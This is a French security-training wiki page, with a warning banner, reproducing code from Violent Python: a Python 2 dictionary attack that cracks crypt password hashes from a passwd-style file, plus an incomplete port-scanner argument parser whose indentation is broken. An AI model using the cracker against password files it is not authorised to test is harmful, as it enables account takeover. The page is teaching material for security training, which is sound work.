Crack passwd file

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Le code de cette page est repris de l'ouvrage Violent Python (T. J. O'Connor, Syngress, 2012). Reproduit ici à titre pédagogique ; les droits appartiennent à l'auteur et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — mots de passe
Module crypt
Rôle Cassage d'un fichier de mots de passe

Programmes Python : cassage d'un fichier de mots de passe par dictionnaire (module crypt) et exemple de scanner de ports (module optparse). Fourni à titre pédagogique.

first program

  • crack passwd file
 import crypt
 crypt.crypt("egg","HX")
 
import crypt
def testPass(cryptPass):
	salt = cryptPass[0:2]
	dictFile = open('dictionary.txt','r')
	for word in dictFile.readlines():
		word = word.strip('\n')
		cryptWord = crypt.crypt(word,salt)
		if (cryptWord == cryptPass):
			print "[+] Found Password: "+word+"\n"
			return
	print "[-] Password Not Found.\n"
	return	
def main():
	passFile = open('passwords.txt')
	for line in passFile.readlines():
		if ":" in line:
			user = line.split(':')[0]
			cryptPass = line.split(':')[1].strip(' ')
			print "[*] Cracking Password For: "+user
			testPass(cryptPass)
if __name__  == "__main__":
	main()

port scanner

import optparse
parser = optparse.OptionParser('usage %prog -H'+\
'<target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-p', dest='tgtPort', type='int', \
help='specify target port')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
if (tgtHost == None) | (tgtPort == None):
print parser.usage
exit(0)

Voir aussi